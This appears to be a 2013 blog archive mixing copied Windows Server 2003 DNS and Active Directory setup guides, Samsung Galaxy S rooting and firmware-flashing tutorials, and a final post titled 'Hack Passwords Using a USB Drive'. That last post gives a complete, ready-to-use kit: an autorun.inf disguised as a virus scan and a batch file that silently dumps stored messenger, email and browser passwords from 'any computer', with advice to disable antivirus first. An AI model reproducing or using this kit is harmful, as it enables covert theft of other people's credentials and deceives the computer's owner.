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Friday 22 February 2013

How to configure DNS for Internet access in Windows Server 2003

How to configure DNS for Internet access in Windows Server 2003

 

This step-by-step guide describes how to configure Domain Name System (DNS) for Internet access in the Windows Server2003 products. DNS is the core name resolution tool that is used on the Internet. DNS handles resolution between host names and Internet addresses.

How to Start with a Stand-Alone Server Running Windows Server 2003

The stand-alone server running Windows Server 2003 becomes a DNS server for your network. In the first step, you assign this server a static Internet Protocol (IP) address. DNS servers must not use dynamically assigned IP addresses because a dynamic change of address could cause clients to lose contact with the DNS server.

Step 1: Configure TCP/IP

  1. Click Start, point to Control Panel, point to Network Connections, and then click Local Area Connection.
  2. Click Properties.
  3. Click Internet Protocol (TCP/IP), and then click Properties.
  4. Click the General tab.
  5. Click Use the following IP address, and then type the IP address, subnet mask, and default gateway address in the appropriate boxes.
  6. Click Advanced, and then click the DNS tab.
  7. Click Append primary and connection specific DNS suffixes.
  8. Click to select the Append parent suffixes of the primary DNS suffix check box.
  9. Click to select the Register this connection's addresses in DNS check box.

    Note that DNS servers running Windows Server 2003 must point to themselves for DNS. If this server needs to resolve names from its Internet service provider (ISP), you must configure a forwarder. Forwarders are discussed in the How to Configure Forwarders section later in this article.
  10. Click OK three times.

    NOTE: If you receive a warning from the DNS Caching Resolver service, click OK to dismiss the warning. The caching resolver is trying to contact the DNS server, but you have not finished configuring the server.

Step 2: Install Microsoft DNS Server

  1. Click Start, point to Control Panel, and then click Add or Remove Programs.
  2. Click Add or Remove Windows Components.
  3. In the Components list, click Networking Services (but do not select or clear the check box), and then click Details.
  4. Click to select the Domain Name System (DNS) check box, and then click OK.
  5. Click Next.
  6. When you are prompted, insert the Windows Server 2003 CD-ROM into the computer's CD-ROM or DVD-ROM drive.
  7. On the Completing the Windows Components Wizard page, click Finish when Setup is complete.
  8. Click Close to close the Add or Remove Programs window.

Step 3: Configure the DNS Server

To configure DNS by using the DNS snap-in in Microsoft Management Console (MMC), follow these steps:
  1. Click Start, point to Programs, point to Administrative Tools, and then click DNS.
  2. Right-click Forward lookup zones, and then click New Zone
  3. When the New Zone Wizard starts, click Next.

    You are prompted for a zone type. The zone types include:

    • Primary zone: Creates a copy of a zone that can be updated directly on this server. This zone information is stored in a .dns text file.
    • Secondary zone: A standard secondary zone copies all of the information from its master DNS server. A master DNS server can be an Active Directory, primary, or secondary zone that is configured for zone transfers. Note that you cannot modify the zone data on a secondary DNS server. All of its data is copied from its master DNS server.
    • Stub zone: A Stub zone contains only those resource records that are necessary to identify the authoritative DNS servers for that zone. Those resource records include Name Server (NS), Start of Authority (SOA), and possibly glue Host (A) records.
    There is also an option to the store zone in Active Directory. This option is only available if the DNS server is a Domain controller.
  4. The new forward lookup zone must be a primary or an Active Directory-integrated zone so that it can accept dynamic updates. Click Primary, and then click Next.
  5. The new zone contains the locator records for this Active Directory-based domain. The name of the zone must be the same as the name of the Active Directory-based domain, or be a logical DNS container for that name. For example, if the Active Directory-based domain is named "support.microsoft.com", valid zone names are "support.microsoft.com" only.

    Accept the default name for the new zone file. Click Next.

    NOTE: Experienced DNS administrators may want to create a reverse lookup zone, and are encouraged to explore this branch of the wizard. A DNS server can resolve two basic requests: a forward lookup and a reverse lookup. A forward lookup is more common. A forward lookup resolves a host name to an IP address with an "A" or Host Resource record. A reverse lookup resolves an IP address to a host name with a PTR or Pointer Resource record. If you have your reverse DNS zones configured, you can automatically create associated reverse records when you create your original forward record.

How to Remove the Root DNS Zone

A DNS server running Windows Server 2003 follows specific steps in its name-resolution process. A DNS server first queries its cache, it checks its zone records, it sends requests to forwarders, and then it tries resolution by using root servers.

By default, a Microsoft DNS server connects to the Internet to process DNS requests more with root hints. When you use the Dcpromo tool to promote a server to a domain controller, the domain controller requires DNS. If you install DNS during the promotion process, a root zone is created. This root zone indicates to your DNS server that it is a root Internet server. Therefore, your DNS server does not use forwarders or root hints in the name-resolution process.

  1. Click Start, point to Administrative Tools, and then click DNS.
  2. Expand ServerName, where ServerName is the name of the server, click Properties and then expand Forward Lookup Zones.
  3. Right-click the "." zone, and then click Delete.

How to Configure Forwarders

Windows Server 2003 can take advantage of DNS forwarders. This feature forwards DNS requests to external servers. If a DNS server cannot find a resource record in its zones, it can send the request to another DNS server for additional attempts at resolution. A common scenario might be to configure forwarders to your ISP's DNS servers.
  1. Click Start, point to Administrative Tools, and then click DNS.
  2. Right-click ServerName, where ServerName is the name of the server, and then click the Forwarders tab.
  3. Click a DNS domain in the DNS domain list. Or, click New, type the name of the DNS domain for which you want to forward queries in the DNS domain box, and then click OK.
  4. In the Selected domain's forwarder IP address box, type the IP address of the first DNS server to which you want to forward, and then click Add.
  5. Repeat step 4 to add the DNS servers to which you want to forward.
  6. Click OK.

How to Configure Root Hints

Windows can use root hints. The Root Hints resource records can be stored in either Active Directory or in a text file (%SystemRoot%\System32\DNS\Cache.dns). Windows uses the standard Internic root server. Also, when a server running Windows Server 2003 queries a root server, it updates itself with the most recent list of root servers.
  1. Click Start, point to Administrative Tools, and then click DNS.
  2. Right-click ServerName, where ServerName is the name of the server, and then click Properties.
  3. Click the Root Hints tab. The DNS server's root servers are listed in the Name servers list.

    If the Root Hints tab is unavailable, your server is still configured as a root server. See the How to Remove the Root DNS Zone section earlier in this article. You may have to use custom root hints that are different from the default. However, a configuration that points to the same server for root hints is always incorrect. Do not modify your root hints. If your root hints are incorrect and have to be replaced, click the following article number to view the article in the Microsoft Knowledge Base:
    237675 Setting up the Domain Name System for Active Directory

How to Configure DNS Behind a Firewall

Proxy and Network Address Translation (NAT) devices can restrict access to ports. DNS uses UDP port 53 and TCP port 53. The DNS Service Management console also uses RCP. RCP uses port 135. These are potential issues that may occur when you configure DNS and firewalls.

 

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How To Create an Active Directory Server in Windows Server 2003

How To Create an Active Directory Server in Windows Server 2003

 This article describes how to install and configure a new Active Directory installation in a laboratory environment that includes Windows Server 2003 and Active Directory. Note that you will need two networked servers that are running Windows Server 2003 for this purpose in a laboratory environment.

Creating the Active Directory

After you have installed Windows Server 2003 on a stand-alone server, run the Active Directory Wizard to create the new Active Directory forest or domain, and then convert the Windows Server 2003 computer into the first domain controller in the forest. To convert a Windows Server 2003 computer into the first domain controller in the forest, follow these steps:
  1. Insert the Windows Server 2003 CD-ROM into your computer's CD-ROM or DVD-ROM drive.
  2. Click Start, click Run, and then type dcpromo.
  3. Click OK to start the Active Directory Installation Wizard, and then click Next.
  4. Click Domain controller for a new domain, and then click Next.
  5. Click Domain in a new forest, and then click Next.
  6. Specify the full DNS name for the new domain. Note that because this procedure is for a laboratory environment and you are not integrating this environment into your existing DNS infrastructure, you can use something generic, such as mycompany.local, for this setting. Click Next.
  7. Accept the default domain NetBIOS name (this is "mycompany" if you used the suggestion in step 6). Click Next.
  8. Set the database and log file location to the default setting of the c:\winnt\ntds folder, and then click Next.
  9. Set the Sysvol folder location to the default setting of the c:\winnt\sysvol folder, and then click Next.
  10. Click Install and configure the DNS server on this computer, and then click Next.
  11. Click Permissions compatible only with Windows 2000 or Windows Server 2003 servers or operating systems, and then click Next.
  12. Because this is a laboratory environment, leave the password for the Directory Services Restore Mode Administrator blank. Note that in a full production environment, this password is set by using a secure password format. Click Next.
  13. Review and confirm the options that you selected, and then click Next.
  14. The installation of Active Directory proceeds. Note that this operation may take several minutes.
  15. When you are prompted, restart the computer. After the computer restarts, confirm that the Domain Name System (DNS) service location records for the new domain controller have been created. To confirm that the DNS service location records have been created, follow these steps:
    1. Click Start, point to Administrative Tools, and then click DNS to start the DNS Administrator Console.
    2. Expand the server name, expand Forward Lookup Zones, and then expand the domain.
    3. Verify that the _msdcs, _sites, _tcp, and _udp folders are present. These folders and the service location records they contain are critical to Active Directory and Windows Server 2003 operations.

Adding Users and Computers to the Active Directory Domain

After the new Active Directory domain is established, create a user account in that domain to use as an administrative account. When that user is added to the appropriate security groups, use that account to add computers to the domain.
  1. To create a new user, follow these steps:
    1. Click Start, point to Administrative Tools, and then click Active Directory Users and Computers to start the Active Directory Users and Computers console.
    2. Click the domain name that you created, and then expand the contents.
    3. Right-click Users, point to New, and then click User.
    4. Type the first name, last name, and user logon name of the new user, and then click Next.
    5. Type a new password, confirm the password, and then click to select one of the following check boxes:

      • Users must change password at next logon (recommended for most users)
      • User cannot change password
      • Password never expires
      • Account is disabled
      Click Next.
    6. Review the information that you provided, and if everything is correct, click Finish.
  2. After you create the new user, give this user account membership in a group that permits that user to perform administrative tasks. Because this is a laboratory environment that you are in control of, you can give this user account full administrative access by making it a member of the Schema, Enterprise, and Domain administrators groups. To add the account to the Schema, Enterprise, and Domain administrators groups, follow these steps:
    1. On the Active Directory Users and Computers console, right-click the new account that you created, and then click Properties.
    2. Click the Member Of tab, and then click Add.
    3. In the Select Groups dialog box, specify a group, and then click OK to add the groups that you want to the list.
    4. Repeat the selection process for each group in which the user needs account membership.
    5. Click OK to finish.
  3. The final step in this process is to add a member server to the domain. This process also applies to workstations. To add a computer to the domain, follow these steps:
    1. Log on to the computer that you want to add to the domain.
    2. Right-click My Computer, and then click Properties.
    3. Click the Computer Name tab, and then click Change.
    4. In the Computer Name Changes dialog box, click Domain under Member Of, and then type the domain name. Click OK.
    5. When you are prompted, type the user name and password of the account that you previously created, and then click OK.

      A message that welcomes you to the domain is generated.
    6. Click OK to return to the Computer Name tab, and then click OK to finish.
    7. Restart the computer if you are prompted to do so.

Troubleshooting

You Cannot Open the Active Directory Snap-ins

After you have completed the installation of Active Directory, you may not be able to start the Active Directory Users and Computers snap-in, and you may receive an error message that indicates that no authority can be contacted for authentication. This can occur if DNS is not correctly configured. To resolve this issue, verify that the zones on your DNS server are configured correctly and that your DNS server has authority for the zone that contains the Active Directory domain name. If the zones appear to be correct and the server has authority for the domain, try to start the Active Directory Users and Computers snap-in again. If you receive the same error message, use the DCPROMO utility to remove Active Directory, restart the computer, and then reinstall Active Directory.

For additional information about configuring DNS on Windows Server 2003, click the following article numbers to view the articles in the Microsoft Knowledge Base:
323380 How To Configure DNS for Internet Access in Windows Server 2003
324259 How To Configure DNS in a New Workgroup Environment in Windows Server 2003
323418 How To Integrate DNS with an Existing DNS Infrastructure If Active Directory Is Enabled in Windows Server 2003
323417 How To Integrate Windows Server 2003 DNS with an Existing DNS Infrastructure in Windows Server 2003
324260 How To Configure DNS Records for Your Web Site in Windows Server 2003
323445 How To Create a New Zone on a DNS Server in Windows Server 2003
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Monday 14 January 2013

Jailbreak / Root Galaxy S GT-I9000 2.3.5 Android for ICS 4.0 / Jelly Bean 4.1 Update Ready

Jailbreak / Root Galaxy S GT-I9000 2.3.5 Android for ICS 4.0 / Jelly Bean 4.1 Update Ready

 

People are crazy and they are running after Jelly bean and ICS specially those who are on GingerBread because they want to install and port ICS and Jelly Bean but it is very important that your smartphone should be jailbreak / Root. Because to port / install or update firmware of android from gingerbread to ICS or Jelly Bean, you have to Root Galaxy S Gt-i9000. i have already provided you full Root procedure of Galaxy Y GT-S5360 on Gingerbread and this time i will be going to root Galaxy S GT-i9000 to get it ready for Android ICS 4.0.x and Jelly Bean 4.1  porting or installation.
The Procedure which i will tell you will be very very easy. unlike others who like to twist a bit so that user may stick with them. So now let come to limitations and some point which every one should do.
If you have Froyo 2.2 inside your Galaxy S Gt-i9000 you have to follow the below link to Root Galaxy S Gt-i9000 with Z4Root App.
Root Galaxy S GT-i9000 running Froyo 2.2 inside

Prior to Root process:

  • First you need to backup all your date, including Address book, Sms and other important notes.
  • And then reset to default setting / factory restore.
  • and then enable Debug Mode. go to apps> settings > applications > development > …. Check the “USB Debugging mode”.
  • this is only for 2.3.5 I9000XXJVS Galaxy S as shown in below mentioned screen shot.

Easiest Guide to Root Galaxy S i9000 Gt-i9000 : To get it Ready for ICS or Jelly Bean 4.1 update

1. First you need to download Odin (via XDA) and Root File via ChainFire (CF-Root-XX_OXA_JVS-v4.1-CWM3RFS) for Root Galaxy S GT-i9000.
2. Now move both downloaded file to Desktop.
3. Extract both of them.
4. Turn off your Galaxy S i9000.
5. Now enter into Downloading Mode : Press Volume Down along with Home Button and Power button and do not release unless you see downloading screen on your Galaxy S i9000
6. Now Start the “Odin” and connect your Galaxy S i9000 with USB Cable and first two ID Com will turn yellow after drivers are loaded from internet.

7. When drivers loaded a message will appear in Message ADDED!!

8. Now keep uncheck  “Re-partition” option and rest will remain same as below mentioned above screen shot.
9. Now select the the file which is extract in Root file in PDA just like below mentioned screen.

9. now hit the Start button and you will be notified in dialog once the process is done and your Galaxy S i9000 will be reboot and you are done….

10. check the below mentioned screen shot where Super User, ClockworkMod, and Tweak apps will appear in Apps.

Guys now you are done and you can port any of the desired custom rom in it….. cheers !!!

 

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Install New Android 2.3.6 XXJW4 Value Pack Update on Galaxy S GT I9000

Today, I will show you tutorial how to install New Android Gingerbread 2.3.6 XXJW4 Value Pack Update on Samsung Galaxy S GT I9000. Samsung has already made it clear that Galaxy S GT I9000 users will not be getting an Android ICS update. But to satisfy Galaxy S users Samsung has released Android 2.3.6 XXJW4 based Value pack with some ICS features. The new firmware rom has loaded with some features like Face unlock, new kernel with increased RAM to 364MB, and some tweaks, improved photo editor and Camera UI with capability to take pictures while video recording. There are lot of bug fixes and Auto rotation, GPU rendering performance has highly increased. Latest Google Apps update has also been included.
For those who have not the notification or missed it somehow can use odin to flash the update. We have created a detailed tutorial to guide you through the process. There are chances that it may brick the phone, we would not be responsible.

Disclaimer: This is an Official update build for Samsung Galaxy S GT I9000. Please do not flash on any other device. We will not be responsible for any issue caused as there is some risk in flashing update using Odin.
Pre-Requisite:

1. This Value pack update is only for Samsung Galaxy S GT I9000 smartphone users.
2. Now, you must take the backup of your all the precious data from your Galaxy. Although it is not necessary but sometimes it may happens to you that you may lose all your data due to some silly mistake. So, the data you must take care off are as SMS, contacts, call logs, images, audios, videos, Bookmarks, APN (Access Point Names) settings etc.
3. It is also recommended you to charge your device battery to 70%, in order to successfully complete the process. Well this process is going to consume lot of your battery and you need to have suffered with your battery issue.
4. You should also disable and uninstall the Antivirus or firewall from your Computer and as well as device respectively. If you don’t then, you may have to face the interruption during the process while updating process in between.
5. You must navigate yourself to the path ‘Settings > Applications > Development > USB debugging’ in order to enable the USB Debugging on your device.

How to Install Android 2.3.6 XXJW4 Value Pack update on Galaxy S GT I9000

Step 1.  First Download the firmware update zip file from here. Once it is downloaded, you need to extract the downloaded package and run Odin in your PC from the extracted folder, which helps in flashing. you will get three files below you can see them.
2. Now, you must turn off your device in order to enter into the download mode. Use the Volume down button and Menu Center button by pressing and holding both the buttons together with the power button. Hold it up for 10 seconds now you will see the Green Robot image. Once you saw that image you can release the buttons.
3. Then, connect your device to your PC via original USB data cable. Once device connected successfully, Odin will show it on its tool where ID says: COM port box section will be highlighted in yellow color. This means it connected successfully.
 4. When it is done, you have to choose F Reset Time and Auto Reboot in the Option box.
5. Then, you must click on PDA tab to navigate yourself to select the downloaded value pack file. Choose JW4_JW4_JW4.tar and click on Start to start the update process of firmware.
 6. After that your device will restart automatically. You need to disconnect from the phone from PC. Then, when it turns off, go to the recovery mode. Which can be done by holding and pressing Volume Up button + Center button and Power buttons all together. Now, keep pressing it for few second till you see the recovery screen. After that, let go the buttons.
7. When you reach to the recovery main menu, select wipe data/factory reset and wipe cache partition to wipe all the data. This will delete your old firmware data. Then, reboot your Samsung Galaxy S GT I9000 by selecting ‘reboot system now’ option.
8. Congratulation! You have successfully updated the Galaxy S GT I9000 smartphone with new value pack update.
 9. If you get stuck at any point then repeat the process from step 2.
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Update Galaxy S GT I9000 with Official Jellybean 4.2.1 Firmware

Update Galaxy S GT I9000 with Official Jellybean 4.2.1 Firmware – Guide

 

The first build of Jellybean 4.2 has arrived for Samsung Galaxy S GT I9000 smartphone after the reports earlier came in that Jellybean 4.2.1 is headed for AOSP development. So, as a result the first build is out and in this article we gonna be checking out on how you can actually install this in your Samsung Galaxy S GT I9000 sartphone. 
Please note that this is not an Official firmware released by Samsung and Samsung won’t be coming out with any Official Jellybean versions officially due to hardware limitations. But not to worry as developers are sweating it out to give you the best Jellybean 4.2 experience on your Galaxy S GT I9000 smartphone.
Please note that since this is a custom ROM firmware, there are some bugs which will be there but will be addressed in the coming update releases. The best part of this custom ROM is that it’s based on the latest Jellybean 4.2 and also all the apps are based on the Jellybean 4.2.1 firmware. In the coming days we will keep you posted if at all there are any more new patch updates.
To check on whether your device is rooted or not, you will have to download the “Root Checker” app from the Google PLAY Store. 
So, let’s get started with the detailed guide but before that you will need to follow all the pre requisites which are mentioned below so as to make sure that whole process of firmware updates gets done smoothly.
Quick Pre Requisites:
  • Over the process of installing this update, there is a probability that the data might get lost or corrupted, so with the help of below mentioned steps you will have to create a backup of all your data. Don’t backup with the help of ROM Manager or with KIES. Don’t backup the data with the helo of ROM Manager as it may brick the device for which we should not be held responsible.
SMS – Use “SMS Backup & Restore app”,
Contacts – Sync with the Gmail application,
Call Log - Call Log and Restore
Images, Songs, Videos, Files – Copy to internal / External SD Card,
APN and MMS Settings – Note down from the path “Applications > Settings > Wireless and Network > Mobile Networks > Access Point Names”
  • From the path “Settings > Applications > Development > USB debugging”, enable the USB Debugging, ensure that the USB debugging option is ticked. Also, make sure that the battery life is not less than 40% as this may turn off the device in the middle of firmware update.
Disclaimer: Follow all the instructions mentioned in this article as if there is any damage caused due to not following instructions then we shall not be held liable or responsible. Just in case if you face any issues then we will try our level best to address the same.
So assuming that you are done with the above mentioned steps, you can now proceed to the next step where we have mentioned the detailed instructions on how to apply this firmware update in your Galaxy S GT I9000 smartphone. 
Procedure to Update Galaxy S GT I9000 with Jellybean 4.2 Firmware:
  • Download the Jellybean 4.2.1 Firmware package from here to your computer. Once downloaded, connect your device to the computer with the help of original USB cable and then place these two zip files in your device.
  • Once you have placed these two files, disconnect the device from computer to download the “ROM Manager” app from PLAY Store. Open the app and grant the Superuser access by tapping on the “Grant” option.
  • Now, from the ROM Manager app, select “Enter into Recovery Mode” for booting the device in the recovery mode or else you can also manually enter the device in the recovery mode by first turning Off the device. Recovery mode in Galaxy S GT I9000 can be entered manually by holding the Volume Up button + the Home key button (the middle button). While holding these both buttons, turn ON your device.
  • In recovery mode, select “Wipe data/factory reset” & “Wipe Cache partition”. If the device starts normally, then you will need to re try the process of entering the device in the recovery mode.
  • Now, select “install zip from sd card” to choose the placed jellybean 4.2.1 Zip Package and Google Apps Package. It will take around 3 – 5 minutes for applying the update. Please note that sometimes it may take more than expected time for updating the same.
  • Now, once the firmware is updated, select “go back” and select “reboot system now”. To check on whether the firmware is updated or not, head over to the path “Settings > About Phone” for checking the same.
Note: Just in a rare case if the device doesn’t boot up or show the home screen then remove the battery and reinsert the same to boot the device again in the normal mode.
Do share with us in the comments section just in case if you face any issues as we will try our level best to sort out the same.
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Download/Install XXJVS Firmware- Update Galaxy S i9000 to Android 2.3.5

Download/Install XXJVS Firmware- Update Galaxy S i9000 to Android 2.3.5

Yes, it’s been so long since we all flashed XXJVR (Android 2.3.4) firmware long back on August 2 and later, while the some portions of the android blogosphere was already beaming with the latest Android 2.3.5 builds of Android OS. So, it was time Samsung showed their supremacy, yet again, with this tiny update too, updating their rockstar Galaxy S (international version GT-i9000) android phone to Android 2.3.5, from 2.3.4 — just an addition of 0.0.1 but says a lot about how hard Sammy’s update team is working on to push timely update. Not only is Samsung the first one to update their phone to Android 2.3.3 and 2.3.4, but now, to 2.3.5 too.
So, without much ado, let’s see XXJVS Android 2.3.5 in flesh on our lovely Galaxy S i9000 — btw, even the mighty Galaxy S II is yet to see Android 2.3.5 builds. And for your information, this Android 2.3.5 update firmware/ROM, XXJVS, is said to be an official leak of Samsung’s team, but like always there is no confirmation from Samsung about that. We’ll know only when XXJVS reaches to consumers using Kies, Samsung’s PC update software.
Before seeing the whole flashing/installation procedure, let’s see warnings and compatibility notes first:
This guide is applicable only for Samsung’s Galaxy S international version (GT-i9000). Check your phone’s version in Settings – About Phone. It has to be “GT-i9000” for this firmware to be compatible with your phone. If it’s not GT-i9000, simply don’t try this ROM on your android handset — don’t even think about it if you care about your android device.
The methods and procedures discussed here are considered risky and you should not attempt anything if you don’t know completely what it is. If any damage occurs to you or your device, we won’t be held liable — you only will be responsible, you’ve been warned!!!

Pre-Installation thoughts:

  1. Installing/Flashing this ROM will erase your apps and data. So, it’s a very important you back them up, before proceeding further. To backup your apps and important data — bookmarks, contacts, SMS, APNs (internet settings), etc. Restore APN settings if Internet isn’t working for you. This Android backup guide would help you. And if you’ve rooted your Galaxy S, you can save application’s data too, using Titanium backup (free app on android market) to backup apps with data. And use this this app only  again to restore those apps with data.
  2. Drivers! — it’s important you’ve the proper drivers installed. Download links below:
  3. If you have Samsung’s PC software Kies installed, un-install it first because it may interrupt the flashing process. If you’ve installed it for sake of drivers which otherwise weren’t working, make sure you exit the Kies completely before beginning the procedure below.

How To Install XXJVS on Galaxy S i9000 (for experienced users)

Well, it’s pretty easy if you’ve already had fun flashing using Odin a decent number of times already. Download XXJVS (password: samfirmware.com) and install it using Odin3 v1.7. Put the *CODE* file in PDA tab, *Modem* file in Phone tab and *multi CSC* file in CSC tab. Put the .pit file in PIT tab and make sure Re-Partition is ticked too. Hit Start!
If you didn’t get what was said above, don’t worry one bit, a detailed guide for you is just below.

Step-By-Step Guide (for not so experienced users)

Although the guide below is very much detailed, step-by-step and sufficient for you to easily flash the XXJVS firmware on your Galaxy S, but in case if you want to watch a video of how you are going to do it, that is, flashing the XXJVS firmware is flashed using Odin, check out this video showing installation of an earlier firmware ‘XWJVB’ on Galaxy S. The procedure is same, so it would be helpful for those who are new.

  1. Download XXJVS firmware first. Filename: I9000XXJVS.rar. Size: 228 MB. Download Link. (password: samfirmware.com)
  2. Extract the downloaded file ‘I9000XXJVS.rar’ to get these 5 files:
    1. CODE_I9000XXJVS_CL565837_REV03_user_low_ship.tar
    2. GT-I9000-CSC-MULTI-OXAJVS.tar
    3. MODEM_I9000XXJVS_REV_00_CL1059471.tar
    4. s1_odin_20100512.pit
  3. Download Odin PC Software which we will be using to flash the XXJVS Android 2.3.5 ROM on Galaxy S. Filename: Odin3 v1.7.zip. Size: 192.55 KB. Download Link.
  4. Extract Odin3 v1.7.zip to get .exe file – Odin3 v1.7.exe. Run it when asked in step 7 below.
  5. Disconnect your phone if it’s connected to PC.  Then Switch it Off. Wait 5-6 seconds for vibration to confirm complete switch off.
  6. Now, put the Galaxy S in “Download Mode” — press and hold these keys together: Volume_DOWN+Home+Power. This is required to Install XXJVS using Odin PC Software.
  7. Open Odin (from step 4) — I9003_Odin3 v1.82.exe.
  8. Connect your phone to PC now. You should get the message “Added! !” under the Odin’s message box in the bottom left. If you don’t get “Added! !” message, than probably there is a problem with drivers. Make sure you’ve drivers installed (links given above under heading ‘Pre-Installation thoughts’).
  9. Now, in Odin, select these files at respective tabs (for visual help, see the screenshot at step 11 below):
    1. Click the PDA Tab, and select CODE_I9000XXJVS_CL565837_REV03_user_low_ship.tar (from step 2.1)
    2. Click the Phone Tab, and select MODEM_I9000XXJVS_REV_00_CL1059471.tar (from step 2.3)
    3. Click the CSC Tab, and select GT-I9000-CSC-MULTI-OXAJVS.tar (from step 2.2)
    4. Click the PIT Tab, and select s1_odin_20100512.pit (from step 2.4)
  10. Make sure these 3 checkboxes are ticked: Re-Partition, Auto Reboot and F. Reset Time. [Note: Since we’re using the .pit file, it’s important that the Re-Partition checkbox ticked, too. If sometime is future, you do not use the .pit file, then that time, keep the Re-Partition button unchecked. Just keep this in mind, always.] Leave everything else on Odin untouched.
  11. Double check everything said in step 9 and 10 above. Your Odin’s screen, after selecting all the files and ticking and not-ticking the checkboxes, should look like this: XXJVS Firmware Installation Guide
  12. Now, hit the START button to begin the flashing process. When it finishes, your phone will automatically reboot, upon which you can unplug the cable. Plus, you’ll get a PASS (with green background) message in the left-most box at the very top of the Odin. If it’s in red and with FAIL written over it, the process flashing process wasn’t successful.
  13. When it restarts, your Galaxy S will be running the Android OS, v2.3.5 with Samsung’s custom UI TouchWiz 3 atop it. Not TouchWiz v4 — that you find on Galaxy S2 — for Galaxy S right now, at least officially from Samsung. Check out you’re your phone’s android version here → Settings → About Phone.
  14. (Optional, of course) If you found this guide useful, share it with your friends and others on your Facebook pages, Twitter feeds and on websites you normally visits. That would be helping us grow too!

ROOT XXJVS
Yep, we just posted the root guide (with download links and all that) to root XXJVS firmware. Find the XXJVS Root here.
That’s it.
BTW, as for what’s changed apart from the Android 2.3.5 build number in “About Phone” under settings, there is not much to say. The video talk feature is missing from the GTalk app. But, the Gmail app has been updated to latest version, 2.3.5, which supports individual label-wise notification system, always show images, etc. Let us know if you find any more changes — as also how is the battery life on your Galaxy S running XXJVS.
We’d be glad to hear back from you. See you all in comments below.

 

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Wednesday 2 January 2013

Hack Passwords Using a USB Drive


Hack Passwords Using a USB Drive

Hack Passwords using USB DriveAs we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox.
There exists many tools for recovering these passswords from their stored places. Using these tools and a USB pendrive, you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit:
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed:
Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit:
You must temporarily disable your antivirus before following these steps.
  1. Download all the 5 tools, extract them and copy only the executable files (.exe files) onto your USB Pendrive.
    ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
  2. Create a new Notepad and write the following text into it:
    [autorun] open=launch.bat
    ACTION= Perform a Virus Scan
    save the Notepad and rename it from New Text Document.txt to autorun.inf. Now copy the autorun.inf file onto your USB pendrive.
  3. Create another Notepad and write the following text onto it:
    start mspass.exe /stext mspass.txtstart mailpv.exe /stext mailpv.txt
    start iepv.exe /stext iepv.txt
    start pspv.exe /stext pspv.txt
    start passwordfox.exe /stext passwordfox.txt
    Save the Notepad and rename it from New Text Document.txt to launch.bat. Copy the launch.bat file to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps:
    1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
    2. In the pop-up window, select the first option (Perform a Virus Scan).
    3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
    4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP, Vista and 7.
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